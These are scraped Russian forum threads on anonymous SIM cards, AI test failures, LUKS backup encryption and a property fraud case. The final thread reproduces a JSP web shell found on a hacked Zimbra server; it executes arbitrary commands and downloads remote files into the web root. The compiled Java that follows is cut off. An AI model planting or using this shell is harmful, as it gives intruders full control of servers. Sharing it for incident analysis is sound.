Как детё чесслово. Идешь в ближайший сигаретный ларёк, покупаешь стакан симок(у них они без идентификации кому попало продаются). Достаёш свой старый гелекси , открывеш крышку, аккуратно вставляеш симку, закрываеш. Пользуешся интернетом и выкидываеш вместе с телефоном в ближайшую лужу, выпиваешь стопарик за анона.
удачи
сообщить модератору +/– ответить

Угроза принятия неверных решений от некомпетентного ИИ (AI).,

Аноним, (Разное / Другая система) 17-Июн-23, 07:08 [⋘ | ☳ | ⋙ | ⚟ ] [линейный вид] [смотреть все] [раскрыть новое]

На первые два вопроса надо было проанализировать только данный лингвистический т, Аноним (1), 08:11 , 17-Июн-23 (1)
> ... Оставил ИТ и решил протестить способность ИИ глубоко понимать текст. ...
На первые два вопроса надо было проанализировать только данный лингвистический текст, без применения дополнительных знаний и дать ответы "да" или "нет" основываясь только на данном тексте. ИИ неверно истолковал, не понял предложенный ему текст и дал не правильные ответы "да" или "нет"!
На третий вопрос надо было понять что чисто лингвистического ответа в данном тексте нет. Надо было заметить геометрическую прогрессию и дать ответ основываясь на вводных данных с лингвистического текста и знаниях с алгебры о геометрической прогрессии. ИИ не смог даже понять написанный текст, провести его лингвистический разбор и даже не дошел до того места где следовало применить дополнительные знания о геометрической прогрессии. Задавал наводящие вопросы, тыкал "носом" в конкретные абзацы, ИИ просто не понимал содержание сложного текста. На третий вопрос ответа от ИИ не было и ИИ не признал свою некомпетентность в данной области!
Может мне поисковик выдал ссылки на тупые ИИ. Может были плохие обучающие модели. Проведите свои тесты ИИ и опишите результаты. Мне ИИ не просто провалил все тесты, а давал ПРИНЦИПИАЛЬНО НЕ ПРАВИЛЬНЫЕ ответы!
сообщить модератору +/– ответить
g План эвакуации а-а-аЦелое исследование ни о чём, капитаните, сударь Я с чатжпт, Tron is Whistling (?), 10:05 , 17-Июн-23 (2)
g План эвакуации а-а-а
Целое исследование ни о чём, капитаните, сударь.
Я с чатжпт побаловался единственным вопросом - "где находится [место "на", куда посылают]".
Оно думало полторы минуты и вывалилось с ошибкой.
Вот и весь "лингвистический ИИ". Баловство. Даже "не знаю" не выдало.
сообщить модератору +/– ответить
Госуправление в плане хозяйственных вещей, типа создания заявок на ремонты дорог, Аноним (3), 13:45 , 17-Июн-23 (3)
Госуправление в плане хозяйственных вещей, типа создания заявок на ремонты дорог на основе показаний с датчиков (встроенных в эту дорогу) - это уже реализуемая история, ближайшее будущее.
Принятие политических решений (с помощью) ИИ - совсем другое. В конце концов, ИИ выдаст какую-нибудь странную хрень типа "мыши станьте ежиками", с припиской "я стратег". И наши чиновники возьмутся заставлять народ это дело исполнять, понятное дело. Надо понимать контекст, чтобы комментировать дискуссию.
Вопрос главный - почему занимались наноболтами в то время, когда на западе создавали сверточные сетки? Причем их создавали в том числе наши выпускники - недостатка в уровне образования не было. Сейчас в последний вагон заскакивать на хайпе не самая выигрышная стратегия.
Да, пока Греф только планирует заменять своих банкиров на ИИ, государство уже заменило труд целой кучи людей госуслугами. И придумали эту концепцию еще в 90х, Лужков с Примаковым. Это к вопросу о внедрении вещей в госуправлении, сколько десятилетий это занимает в реальности, а не в бреду финансистов. Лет пять поснимают сливки, поколядуют на ИИ-стартапах и перейдут к новой теме.
сообщить модератору +/– ответить

Проблема в руководстве На предприятии проблема в гендиректоре, который слушает , Аноним (4), 14:18 , 17-Июн-23 (4)
> Вопрос главный - почему занимались наноболтами в то время, когда на западе создавали сверточные сетки?
Проблема в руководстве. На предприятии проблема в гендиректоре, который слушает эффективного менеджера, который в свою очередь предлагает сократить расходы, заменив высокооплачиваемых ИТ спецов и сложные ИТ решения на девопс с обычным ынтерпрайз софтом.
В СССР 50-60 предлагали ИТ внедрять для рутинного управления. но денег не дали.
В США в конце 1960-тых был на бумаге MULTIX и на его реализацию тоже денег тогда не дали, руководство сказало лететь на Луну.
Руководство не всегда принимает решение вкладывать деньги в правильные технологии.
сообщить модератору +/– ответить

коммунисты поняли, что внедрять ИТ поделиться властью поэтому и откзались, , ivan_erohin (?), 21:29 , 24-Сен-23 (8)
> В СССР 50-60 предлагали ИТ внедрять для рутинного управления. но денег не дали.
коммунисты поняли, что "внедрять ИТ" = поделиться властью. поэтому и откзались, на всех уровнях.
сообщить модератору +/– ответить

Как раз они ничего не поняли Докладчик их раздражал Не вникли в проблему из-за, Аноним (9), 11:47 , 26-Сен-23 (9)
Как раз они ничего не поняли. Докладчик их раздражал. Не вникли в проблему из-за не компетенции и не увидели выгоды. Кибернетиков жестко разогнали.
сообщить модератору +/– ответить

Федерация лет под двадцать три так существует До этого она так существовала поч, Аноним (-), 16:22 , 27-Сен-23 (11)
> Принятие политических решений (с помощью) ИИ - совсем другое. В конце концов,
> ИИ выдаст какую-нибудь странную хрень типа "мыши станьте ежиками", с припиской
> "я стратег". И наши чиновники возьмутся заставлять народ это дело исполнять,
> понятное дело. Надо понимать контекст, чтобы комментировать дискуссию.
Федерация лет под двадцать три так существует. До этого она так существовала почти 70 лет. Ещё раньше - уже считать больно.
сообщить модератору +/– ответить

Шифрование разделов LUKS,

sheff.artx, (Шифрование, SSH, SSL) 03-Сен-23, 08:03 [⋘ | ☳ | ⋙ | ⚟ ] [линейный вид] [смотреть все] [раскрыть новое]

https wiki archlinux org title Dm-crypt Encrypting_an_entire_system Overview, Аноним (1), 12:58 , 03-Сен-23 (1)
https://wiki.archlinux.org/title/Dm-crypt/Encrypting_an_enti...
сообщить модератору +/– ответить

Если правильно понял вводные, то недостатки такие нужно помнить фиксированные , Аноним (1), 13:09 , 03-Сен-23 (2)
Если правильно понял вводные, то недостатки такие:
* нужно помнить фиксированные настройки шифрования.
* systemd не сможет автоматически смонтировать корневой раздел. Для бэкап-диска - без разницы.
* один ключ шифрования, нельзя использовать слоты. Для бэкап-диска может быть удобно иметь несколько разных ключей: для автоматического монтирования службами целевых систем (на их ФС) и для ручного расшифрования (в голове);
А в чем проблема сделать раздел на весь бэкап-диск, а потом его весь зашифровать?

сообщить модератору +/– ответить

Спасибо за ответ и, как я понял особой разницы нет, т к автоматического монтиро, sheff.artx (ok), 13:40 , 03-Сен-23 (3)
> Если правильно понял вводные, то недостатки такие:
> * нужно помнить фиксированные настройки шифрования.
> * systemd не сможет автоматически смонтировать корневой раздел. Для бэкап-диска - без
> разницы.
> * один ключ шифрования, нельзя использовать слоты. Для бэкап-диска может быть удобно
> иметь несколько разных ключей: для автоматического монтирования службами целевых систем
> (на их ФС) и для ручного расшифрования (в голове);
> А в чем проблема сделать раздел на весь бэкап-диск, а потом его
> весь зашифровать?
Спасибо за ответ и, как я понял особой разницы нет, т.к. автоматического монтирования не предвидится и монтирую руками и только я.
сообщить модератору +/– ответить

Я по-началу тоже так предполагал Но бэкапы - такая штука, которую очень желател, Аноним (1), 16:17 , 03-Сен-23 (4)
> монтирую руками и только я
Я по-началу тоже так предполагал. Но бэкапы - такая штука, которую очень желательно делать часто, а значит это должно быть легко и удобно. Иначе быстро надоедает, появляются задержки между бэкапами и риск потери свежих данных растет. К тому же, риск раскрыть пароль при вводе с клавиатуры обычным пользователем значительно выше, чем при монтировании ключом, который видит только суперпользователь с также шифрованной ФС с ОС. К тому же, если для доступа к диску используется несколько устройств с разными ключами, можно легко сменить/удалить ключ только для скомпрометированного устройства.
Ну и, наконец, возможность перешифровать диск с новыми настройками налету. Например, при устаревании (вычислительной сложности) или компрометации алгоритмов шифрования. Или просто под новый процессор, который имеет инструкции/модуль для более быстрой работы с каким-то конкретным шифром.
Короче, заголовки LUKS - это очень гибко и удобно.
> особой разницы нет
Есть ещё похожий, но более гибкий вариант: хранить заголовки LUKS на отдельном от диска устройстве. Диск будет а-ля plain-dmcrypt, но заголовки, например, на флэшке, позволят легко менять настройки/ключи шифрования. Цена: потеря данных при потере флэшки.
Подробнее:
https://wiki.archlinux.org/title/Dm-crypt/Specialties#Encryp...
сообщить модератору +/– ответить

Если для бэкапа используется выделенный диск ЦЕЛИКОМ, то разбивать его на раздел, Аноним (5), 09:28 , 09-Сен-23 (5)
Если для бэкапа используется выделенный диск ЦЕЛИКОМ, то разбивать его на разделы не требуется, можно шифровать диск целиком без разбивки.
сообщить модератору +/– ответить
Бекапить на съёмный, шифрованный, жесткий диск, это хорошо Придерживаюсь мнения,, Аноним (6), 15:57 , 09-Сен-23 (6)
Бекапить на съёмный, шифрованный, жесткий диск, это хорошо.
Придерживаюсь мнения, что необходимо держать бекапы на DVD/BD (-R), лучше M-DISK.
Скрипт для бекапа, создает ISO для записи:
https://www.linux.org.ru/forum/admin/15041201?cid=15051206
https://www.linux.org.ru/forum/admin/15041201?cid=15051243
https://www.linux.org.ru/forum/admin/15041201?cid=15052218
Можно добавить упаковку и шифрование перед созданием ISO.
сообщить модератору +/– ответить

Согласен Возникает вопрос - а кому и как раздать ключи шифрования Ну, на случай, ACCA (ok), 06:47 , 12-Сен-23 (7)
Согласен. Возникает вопрос - а кому и как раздать ключи шифрования?
Ну, на случай если тебя совершенно случайно убил упавший самолёт, в которого попал пролетавший метеорит.
сообщить модератору +/– ответить

В случае использования шифрования LUKS есть возможность установки нескольких пар, Аноним (8), 10:54 , 12-Сен-23 (8)
> Согласен. Возникает вопрос - а кому и как раздать ключи шифрования?
В случае использования шифрования LUKS есть возможность установки нескольких паролей для разных людей.
> Ну, на случай если тебя совершенно случайно убил упавший самолёт, в которого попал пролетавший метеорит.
В случае шифрованых ISO на DVD/BD дисках, делать надо несколько версий, зашифрованных для разных людей и раздать бекапы им для хранения. Как вариант, можно dd и LUKS раздел в файл записать и на ISO закатать.
Это для фирм хорошо подходит. Хотя большинство просит не шифровать, а просто хранит бекапы в сейфе. Не любят у нас шифрование.
сообщить модератору +/– ответить

Ссылка на пример полнодискового шифрования для ноута https www opennet ru ope, Аноним (9), 08:28 , 18-Сен-23 (10)
Ссылка на пример полнодискового шифрования для ноута: https://www.opennet.ru/openforum/vsluhforumID3/131450.html#223
сообщить модератору +/– ответить
Часто используют связку LUKS - LVM Сначала шифруют физичский диск и уже его ра, Аноним (11), 14:49 , 20-Сен-23 (11)
Часто используют связку LUKS -> LVM. Сначала шифруют физичский диск и уже его разбивают на логические разделы с помощью LVM.
GRUB поддерживает загрузку с /boot на LVM разделе, который в свою очередь размещён в разделе LUKS.
сообщить модератору +/– ответить

У меня отжали 2 квартиры в Москве с помощью ЭЦП,

Nxx, (Авторизация и аутентификация / Другая система) 16-Дек-20, 20:12 [⋘ | ☳ | ⋙ | ⚟ ] [линейный вид] [смотреть все] [раскрыть новое]

Оставаться за границей, а то ещё и кредит за дядю возвращать придётся , Аноним (1), 20:29 , 16-Дек-20 (1) –1
Найти юриста, поднять шум, обратиться в СМИ - МедиаЗона, Znak, Новая Газета, Дож, Фяф (?), 20:45 , 16-Дек-20 (2) +1

Юристы просят предоплату 5 от возвращаемого имущества то есть, больше миллио, Nxx (ok), 20:49 , 16-Дек-20 (3)

Да это все либерасты, которые и поддерживают в тихаря эту систему Обратись к ко, Аноним (27), 17:19 , 22-Дек-20 (27)
Скажи, что дашь после, не 5 , а все 100 если они выиграют дело с 1000 компенса, Аноним (27), 17:23 , 22-Дек-20 (28)

Не слушай этого клоуна, у тебя нету морального вреда Моральный вред во первых е, hhh (?), 02:38 , 15-Янв-21 (62)

Моральный вред есть стресс от того, что отжали две квартиры и надо бегать по су, Аноним (65), 10:54 , 16-Янв-21 (65) +1

Еслю юрист просит предоплату - значит дело он не выиграет В таких юристов, Аноним (34), 02:57 , 23-Дек-20 (34)

Нет ни одного, кто не просит предоплату , Nxx (ok), 03:50 , 23-Дек-20 (36)

Это как договоришся Да, еще оплата юриста относится к судебным издержками и комп, Аноним (43), 17:18 , 23-Дек-20 (43) +1

Не слушай этого клоуна Суд определяет возмещение судебных издержек исходя из та, hhh (?), 02:43 , 15-Янв-21 (63)

Не слушай hhh hhh - явно на стороне партии жулья и воров разграбляющих страну и , Аноним (65), 11:07 , 16-Янв-21 (66) +1
Не слушай hhh.
hhh - явно на стороне партии жулья и воров разграбляющих страну и людей!
Суд твои издержки будет считать по предъявленым тобой чекам!
Моральный вред у тебя есть от самого факта воровства двух квартир. Есть явно определенный Законом виновный - УЦ который выдал поддельную ЭЦП и вследствии этого пострадали вы, как третья сторона. УЦ обязан, по Закону, компенсировать весь вред: 100% материальный и 1000% моральный.
У вас небыло желания обогащается. Желание незаконно обогатиться было в УЦ когда выдал фальшивую ЭЦП и украл у вас квартиры. Если Суд не накажет УЦ возмещением вам 1000% морального вреда, то преступление УЦ останется безнаказанным и УЦ выпустит еще одну подпись ЭЦП и отберет квартиру у следующей жертвы. Без возмещения морального вреда в десятикратном размере воровство квартир для УЦ есть беспроигрышная и безнаказанная преступная деятельность!!!
сообщить модератору +1 +/– ответить

Самое главное, что неизвестно, сколько поддельных подписей они выпустили Может,, Nxx (ok), 20:50 , 16-Дек-20 (4) +1

Без юриста никак, попытайтесь найти хорошего специалиста, который имеет опыт бор, Фяф (?), 21:04 , 16-Дек-20 (5) +1

Если я успею продать, так как мошенникам ничего не стоит перевести квартиры на с, Nxx (ok), 21:14 , 16-Дек-20 (6) +1

А нигде не фиксируется кто, где, сколько получал эти ЭЦП Отменить как-то их По, Фяф (?), 21:24 , 16-Дек-20 (7) +1

http www consultant ru document cons_doc_LAW_112701 8431d104d9d3f38ead39f587b9, Аноним (27), 17:30 , 22-Дек-20 (29)

только если у вас есть две квартиры и нет 1млн рублей думаю вам это не грозит , Supp0rt2020 (?), 06:01 , 17-Дек-20 (13) +1

Зачем это здесь Где подтверждения с выписками из ЕГРН Подобное мошенничество был, DeerFriend (?), 21:39 , 16-Дек-20 (8) +1

Нет логов - нет проблемы , DeerFriend (?), 21:39 , 16-Дек-20 (9)
Одна квартира ушла 24 ноября 2020, втора - 30 ноября 2020 , Nxx (ok), 22:36 , 16-Дек-20 (10) +1
Ну есть у меня выписки из ЕГРН уже, дальше что Будешь мне втирать, что у меня к, Nxx (ok), 03:53 , 23-Дек-20 (37)

Во-первых не украли, а переоформили Во-вторых у нас презумпция невиновности Толь, DeerFriend (?), 11:03 , 23-Дек-20 (39) –1
Вот выписки цепляешь к заявлению в полицию, прокуратуру, к искам в Суды Выло, Аноним (44), 17:56 , 23-Дек-20 (44)

Идти в полицию и писать заявление Далее искать юриста для написания искового за, Аноним (11), 23:30 , 16-Дек-20 (11) +3

Это действует с августа Не помогло , Nxx (ok), 23:35 , 16-Дек-20 (12) +1

Отжали то квартиры у вас в ноябре, вообще у вас все не сходится, про ЭЦП не зна, Сергей (??), 12:00 , 17-Дек-20 (14)

gt оверквотинг удален Про ЭЦП я ничего не знал, в 2018 году, когда я уезжал, э, Nxx (ok), 12:06 , 17-Дек-20 (15)

Вы как будто в другой вселенной живёте Вот вам ссылки для просвещения -https , NetEye (ok), 05:29 , 18-Дек-20 (16) +1

Ну почему-же, пусть малолетние нечегоскрыватели проникаются , Аноним (-), 11:47 , 21-Дек-20 (17) +2

https www opennet ru openforum vsluhforumID10 5512 htmlЯ не юрист и могу ошиба, Аноним (18), 07:15 , 22-Дек-20 (18) +1

Еще надо написать заявление в орган РФ осуществляющий надзор за удостоверяющим ц, Аноним (18), 07:24 , 22-Дек-20 (19)

Не знаю, что за УЦ Пока единственная победа - расподтвердили взломанный аккаунт , Nxx (ok), 22:18 , 22-Дек-20 (31) +1

https www opennet ru openforum vsluhforumID10 5564 html 29https www opennet , Аноним (44), 18:06 , 23-Дек-20 (45) +1

Чтобы узнать УЦ надо получить доступ к госуслугам , Nxx (ok), 10:19 , 26-Дек-20 (55)

Аккаунт на гос услугах РФ любой Вова на любого Васю может завести без любых проб, Аноним (44), 18:22 , 23-Дек-20 (47)

Аккаунт можно верифицировать по почте Они, возможно, взяли письмо с кодом из мо, Nxx (ok), 10:18 , 26-Дек-20 (54) +1

Эмоциональный ответ удалил модер Дам тебе еще 2 совета, помни я не юрист Все, Аноним (59), 14:04 , 26-Дек-20 (59)

Я за границей, Nxx (ok), 14:56 , 26-Дек-20 (60) +1

http www consultant ru document cons_doc_LAW_59999 Федеральный закон О порядк, Аноним (61), 18:29 , 26-Дек-20 (61)

Есть в РФ такое понятие как строки давности Некоторые строки могут быть оооооче, Аноним (18), 07:32 , 22-Дек-20 (20)

gt оверквотинг удален Морального вреда тут вообще не будет или 5 тыс , Nxx (ok), 22:16 , 22-Дек-20 (30)

Вот с этого момента я тебе помогать не буду пока не увижу твой публичный ключ и , Аноним (44), 18:12 , 23-Дек-20 (46) +1

Откуда я его возьму , Nxx (ok), 10:24 , 26-Дек-20 (57)

http www consultant ru document cons_doc_LAW_112701 8431d104d9d3f38ead39f587b9, Аноним (21), 14:08 , 22-Дек-20 (21)

1 УЦ нарушил Закон как минимум ненадлежащим образом идентифицировал физлицокак , Аноним (21), 14:24 , 22-Дек-20 (22) +1

gt оверквотинг удален Весной этого года зашел в СВЯЗНОЙ купить модем моб пр, simonflex (ok), 16:44 , 22-Дек-20 (24) +1

А кардинг в МФЦ не хочешь Когда был студентотой N лет назад, при получении соцк, Аноним (34), 03:41 , 23-Дек-20 (35) +1

Чтобы посмотреть, что за УЦ сделал подпись на меня, надо иметь доступ к аккаунту, Nxx (ok), 22:22 , 22-Дек-20 (32) +1

Ложь https www opennet ru openforum vsluhforumID10 5564 html 29https www ope, Аноним (44), 18:40 , 23-Дек-20 (48)

Про это уже неоднократно были разговоры и горячо обсуждали тему в СМИ Нужно лич, simonflex (ok), 16:34 , 22-Дек-20 (23) +1

Проблема в том что Законы в РФ пишут и подписывают жулики и воры По умолчанию сд, Аноним (27), 17:06 , 22-Дек-20 (25) +1

Самый большой прикол в том, что УЦ требуют, чтобы приватный секретный ключ клю, Аноним (27), 17:12 , 22-Дек-20 (26) +1
Это так и есть сейчас, по закону Но всем плевать , Nxx (ok), 04:00 , 23-Дек-20 (38)

Кто посмел плевать на Законы РФ При Путине и Единой России Не верю В полицию и, Аноним (43), 16:56 , 23-Дек-20 (41)

http www consultant ru document cons_doc_LAW_182661 1de4ce7231c832c7c678190862, Nxx (ok), 10:21 , 26-Дек-20 (56) +1

,Нет Вы понимаете неправильно 1 Заявление о сделках только с личным участием н, Nxx (ok), 22:28 , 22-Дек-20 (33) +1

А зоть какие-то пруфы будут , dimez (?), 14:46 , 23-Дек-20 (40)

Назви статьи Закона РФ и дай ссылки И да, мы тебе уже много рассказали, давай пр, Аноним (43), 17:05 , 23-Дек-20 (42)

https ru m wikipedia org wiki Единая_система_идентификации_и_аутентификации b , Аноним (49), 18:19 , 24-Дек-20 (49)

https ru m wikipedia org wiki Электронный_паспорт_гражданина_Российской_Федера, Аноним (50), 08:45 , 25-Дек-20 (50)

https iz ru news 581724 удостоверение личности хоть и будет внешне похоже на б, Аноним (50), 08:56 , 25-Дек-20 (51) +1

gt оверквотинг удален Я не работал с 2008 года, сами документы со мной, за гра, Nxx (ok), 10:24 , 25-Дек-20 (52) +1

Документы хранились в твоем личном доме в сейфе Может документы хранились в банк, Аноним (53), 14:03 , 25-Дек-20 (53)

Тут на лицо коррекционная составляющая кто то купил скан вашего паспорта в интер, Руслан543 (?), 18:08 , 30-Янв-21 (67)
> Я нахожусь за границей. В ноябре у меня отжали две квартиры 3к
> и 2к в Москве с помощью поддельной электронно-цифровой подписи. Кроме того,
> у меня взломали аккаунт на госуслугах.
> У меня никогда не было ЭЦП и я даже не знаю, что
> это такое. Паспорта со мной, я их не терял.
> Адвокаты требуют предоплату 250 тыс+5% от стоимости возвращенного имущества (а это 1
> миллион р).
> У меня таких денег нет. Плюс, неизвестно, сколько ЭЦП на моё имя
> мошенники выпустили. Я отменю одну, а может, у них 10.
> Что делать?
Тут на лицо коррекционная составляющая кто то купил скан вашего паспорта в интернете
и у него были знакомые в в удостоверяющем центре которые все и сделали пишите в сми нужно вызвать общественый резонанс

сообщить модератору +/– ответить

Тут на лицо корукционая составляющая кто то купил скан вашего паспорта в интерне, Руслан543 (?), 18:12 , 30-Янв-21 (68) +1
>> Я нахожусь за границей. В ноябре у меня отжали две квартиры 3к
>> и 2к в Москве с помощью поддельной электронно-цифровой подписи. Кроме того,
>> у меня взломали аккаунт на госуслугах.
>> У меня никогда не было ЭЦП и я даже не знаю, что
>> это такое. Паспорта со мной, я их не терял.
>> Адвокаты требуют предоплату 250 тыс+5% от стоимости возвращенного имущества (а это 1
>> миллион р).
>> У меня таких денег нет. Плюс, неизвестно, сколько ЭЦП на моё имя
>> мошенники выпустили. Я отменю одну, а может, у них 10.
>> Что делать?
Тут на лицо корукционая составляющая кто то купил скан вашего паспорта в интернете
и у него были знакомые в в удостоверяющем центре которые все и сделали пишите в сми нужно вызвать общественый резонанс

сообщить модератору +1 +/– ответить

Какая коррупция Чистый крыминал казалось бы, на воровали ПД, и с помощью наво, Аноним (69), 10:20 , 04-Фев-21 (69)
Какая коррупция?!! Чистый крыминал казалось бы, на воровали ПД, и с помощью навороченных ПД обворовывают граждан уже материально:
Есть признаки уголовных статьей:
* подделки документов
* мошенничество
* воровство
* возможно, предположительно в доли и те кто принимает законы разрешающие по потдельной ЭЦП воровать квартиры, тогда да, надо возбуждать уголовное дело по статье коррупция тоже и садить тех кто принял коррупционные законы!!!
сообщить модератору +/– ответить

Уже год сужусь Оказалось, не через ЭЦП, а через обычного нотариуса и поддельную, Nxx (ok), 22:59 , 07-Фев-22 (71)
Уже год сужусь. Оказалось, не через ЭЦП, а через обычного нотариуса и поддельную подпись. Чеченцы. Приезжали осматривать одну из моих квартир с генералом МВД.
сообщить модератору +/– ответить

https www garant ru products ipo prime doc 400065686 Постановление Правительст, Аноним (70), 14:56 , 20-Фев-21 (70)
> неизвестно, сколько ЭЦП на моё имя мошенники выпустили
https://www.garant.ru/products/ipo/prime/doc/400065686/
Постановление Правительства РФ от 28 декабря 2020 г. № 2309 “Об утверждении требований к порядку предоставления владельцам квалифицированных сертификатов сведений о выданных им квалифицированных сертификатах с использованием единого портала государственных и муниципальных услуг”
Требуют регистрироваться на "госуслугах" и кроме Ф.И.О. предоставить СНИЛС.
Сертификаты ЭП, выданные аккредитованными УЦ: https://e-trust.gosuslugi.ru/#/portal/registry/certificate-list
Сертификаты, переданные АУЦ в связи с прекращением своей деятельности: https://e-trust.gosuslugi.ru/#/portal/registry/passed-certif...
Отсутствие поиска по Ф.И.О. делает данный сервис почти бесполезным.
Как по мне это нарушает дух и букву Закона:
ст. 15 п. 3 http://www.consultant.ru/document/cons_doc_LAW_112701/03690e...
«3. Аккредитованный удостоверяющий центр обязан обеспечить любому лицу безвозмездный доступ с использованием информационно-телекоммуникационных сетей, в том числе сети «Интернет», к реестру квалифицированных сертификатов этого аккредитованного удостоверяющего центра в любое время в течение срока деятельности этого удостоверяющего центра, если иное не установлено федеральными законами или принимаемыми в соответствии с ними нормативными правовыми актами.»
Налоговая, к примеру, предоставляет доступ к реестру ЕГРЮЛ без ограничений: https://egrul.nalog.ru/ с возможностью поиска по Ф.И.О., ИНН...
сообщить модератору +/– ответить
И чем закончилась история а то даже не по себе , aydanasadykova1995 (ok), 17:31 , 28-Дек-22 (72)
> Я нахожусь за границей. В ноябре у меня отжали две квартиры 3к
> и 2к в Москве с помощью поддельной электронно-цифровой подписи. Кроме того,
> у меня взломали аккаунт на госуслугах.
> У меня никогда не было ЭЦП и я даже не знаю, что
> это такое. Паспорта со мной, я их не терял.
> Адвокаты требуют предоплату 250 тыс+5% от стоимости возвращенного имущества (а это 1
> миллион р).
> У меня таких денег нет. Плюс, неизвестно, сколько ЭЦП на моё имя
> мошенники выпустили. Я отменю одну, а может, у них 10.
> Что делать?
И чем закончилась история? а то даже не по себе((
сообщить модератору +/– ответить

gt оверквотинг удален Оказалось, не по ЭЦП, а просто, подкупили нотариуса Суд, Nxx (ok), 09:52 , 30-Дек-22 (73)
>[оверквотинг удален]
>> и 2к в Москве с помощью поддельной электронно-цифровой подписи. Кроме того,
>> у меня взломали аккаунт на госуслугах.
>> У меня никогда не было ЭЦП и я даже не знаю, что
>> это такое. Паспорта со мной, я их не терял.
>> Адвокаты требуют предоплату 250 тыс+5% от стоимости возвращенного имущества (а это 1
>> миллион р).
>> У меня таких денег нет. Плюс, неизвестно, сколько ЭЦП на моё имя
>> мошенники выпустили. Я отменю одну, а может, у них 10.
>> Что делать?
> И чем закончилась история? а то даже не по себе((
Оказалось, не по ЭЦП, а просто, подкупили нотариуса. Судился 2 года, сейчас одну квартиру вернул, предстоит судиться по второй (её уже перепродали под ипотеку молодой паре).
Полиция возбуждать уголовное дело отказывается.
сообщить модератору +/– ответить

Почему сразу не судился по двум квартирам Дело одно, разные только скупщики кра, Аноним (74), 17:20 , 10-Янв-23 (74)
> сейчас одну квартиру вернул, предстоит судиться по второй (
Почему сразу не судился по двум квартирам? Дело одно, разные только скупщики краденого.
> Полиция возбуждать уголовное дело отказывается.
УПК ст.148, п.5 https://www.consultant.ru/document/cons_doc_LAW_34481/2dee67.../
"5. Отказ в возбуждении уголовного дела может быть обжалован прокурору, руководителю следственного органа или в суд в порядке, установленном статьями 124 и 125 настоящего Кодекса."
Наверно сначала начальнику следственного органа, если откажет, то на обеих прокурору, если прокурор откажет то на троих жалобу в суд. С требованием компенсации морального вреда, чтобы пошлину не платить. А можно и вышестоящему прокурору жаловатся.
Они строки по жалобам всегда нарушают, ответ обязаны дать в течении 3 суток, если документы в полиции, то на их истребование прокурор может продлить до 10 суток, с извещением. Но они ВСЕ забывают УПК и по ФЗ #59 рассматривают жалобу 30 суток. На это надо жаловатся!
сообщить модератору +/– ответить

Прокуратура отменяет отказы, менты снова отказывают Уже три года , Nxx (ok), 03:14 , 27-Июл-23 (75)
Прокуратура отменяет отказы, менты снова отказывают. Уже три года.
сообщить модератору +/– ответить

Пиши жалобы всем, руководитель полиции, прокурору, возможно в следственный комми, Аноним (76), 10:10 , 27-Июл-23 (76)
> менты снова отказывают
Пиши жалобы всем, руководитель полиции, прокурору, возможно в следственный коммитет.
Отказ в возбуждении уголовного дела может быть обжалован в какой-то, кажись районный уголовный суд. В какой суд жаловатся надо уточнить, если не в тот суд пожаловатся то судья оставит дело без движения.
сообщить модератору +/– ответить

Это коррупция сверху, нужно знать где живешь, Аноним (77), 08:08 , 13-Авг-23 (77)
>> менты снова отказывают
> Пиши жалобы всем, руководитель полиции, прокурору, возможно в следственный коммитет.
> Отказ в возбуждении уголовного дела может быть обжалован в какой-то, кажись районный
> уголовный суд. В какой суд жаловатся надо уточнить, если не в
> тот суд пожаловатся то судья оставит дело без движения.
Это коррупция сверху, нужно знать где живешь
сообщить модератору +/– ответить

Zimbra поломали,

BarS, (Linux привязка / Linux) 25-Янв-21, 15:43 [⋘ | ☳ | ⋙ | ⚟ ] [линейный вид] [смотреть все] [раскрыть новое]

if G5X49Q equals request getParameter pwd String strCmd, BarS (??), 15:47 , 25-Янв-21 (1)
<%
    if("G5X49Q".equals(request.getParameter("pwd")))
    {
        String strCmd=request.getParameter("cmd");
        String strUrl=request.getParameter("url");
        String strFile=request.getParameter("file");
        if(null!=strCmd)
        {
            java.io.InputStream in=Runtime.getRuntime().exec(strCmd).getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            out.print("<pre>");
            while((a=in.read(b))!=-1)
            {
                out.println(new String(b));
            }
            out.print("</pre>");
        }
        if(null!=strUrl&&null!=strFile)
        {
            java.io.InputStream in = new java.net.URL(strUrl).openStream();
            byte[] b = new byte[1024];
            java.io.ByteArrayOutputStream baos = new
            java.io.ByteArrayOutputStream();
            int a = -1;
            while ((a = in.read(b)) != -1)
            {
                baos.write(b, 0, a);
            }
            new java.io.FileOutputStream(application.getRealPath("/")+"/"+strFile).write(baos.toByteArray());
        }
        out.println("MtGqKu3y");
    }
    else
    {
        //out.println("no token");
    }
%>
сообщить модератору +/– ответить

Generated by the Jasper component of Apache Tomcat Version jetty 9 3 5 v, BarS (??), 15:50 , 25-Янв-21 (2)
/*
* Generated by the Jasper component of Apache Tomcat
* Version: jetty/9.3.5.v20151012
* Generated at: 2019-04-02 11:49:44 UTC
* Note: The last modified time of this file was set to
*       the last modified time of the source file after
*       generation to assist with modification tracking.
*/
package org.apache.jsp.img;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
public final class fc47_jsp extends org.apache.jasper.runtime.HttpJspBase
    implements org.apache.jasper.runtime.JspSourceDependent,
                 org.apache.jasper.runtime.JspSourceImports {
  private static final javax.servlet.jsp.JspFactory _jspxFactory =
          javax.servlet.jsp.JspFactory.getDefaultFactory();
  private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;
  private static final java.util.Set<java.lang.String> _jspx_imports_packages;
  private static final java.util.Set<java.lang.String> _jspx_imports_classes;
  static {
    _jspx_imports_packages = new java.util.HashSet<>();
    _jspx_imports_packages.add("javax.servlet");
    _jspx_imports_packages.add("javax.servlet.http");
    _jspx_imports_packages.add("javax.servlet.jsp");
    _jspx_imports_classes = null;
  }
  private volatile javax.el.ExpressionFactory _el_expressionfactory;
  private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;
  public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
    return _jspx_dependants;
  }
  public java.util.Set<java.lang.String> getPackageImports() {
    return _jspx_imports_packages;
  }
  public java.util.Set<java.lang.String> getClassImports() {
    return _jspx_imports_classes;
  }
  public javax.el.ExpressionFactory _jsp_getExpressionFactory() {
    if (_el_expressionfactory == null) {
      synchronized (this) {
        if (_el_expressionfactory == null) {
          _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
        }
      }
    }
    return _el_expressionfactory;
  }
  public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {
    if (_jsp_instancemanager == null) {
      synchronized (this) {
        if (_jsp_instancemanager == null) {
          _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
        }
